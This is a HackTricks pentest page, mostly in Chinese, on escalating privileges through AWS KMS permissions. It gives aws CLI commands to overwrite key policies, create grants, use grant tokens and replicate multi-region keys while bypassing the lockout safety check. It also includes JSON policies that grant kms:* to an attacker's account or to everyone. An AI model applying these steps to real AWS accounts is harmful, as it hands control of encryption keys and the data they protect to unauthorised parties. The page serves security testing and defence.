AWS - KMS Privesc

支持 HackTricks

KMS

有关 KMS 的更多信息,请查看:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

有了这些权限,可以修改密钥的访问权限,使其可以被其他账户甚至任何人使用:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

允许主体使用一个KMS密钥:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

注意,KMS 可能需要几分钟时间在授权生成后允许用户使用密钥。一旦时间过去,主体可以使用 KMS 密钥而无需指定任何内容。 但是,如果需要立即使用授权,请使用授权令牌(查看以下代码)。 有关更多信息请阅读此文

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

注意,可以使用以下命令列出密钥的授权:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

有了这些权限,可以在不同区域复制一个多区域启用的KMS密钥,并使用不同的策略。

因此,攻击者可以滥用这一点来提升对密钥的访问权限并使用它

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

此权限允许使用密钥解密一些信息。 更多信息请查看:

AWS - KMS Post Exploitation
支持 HackTricks

Last updated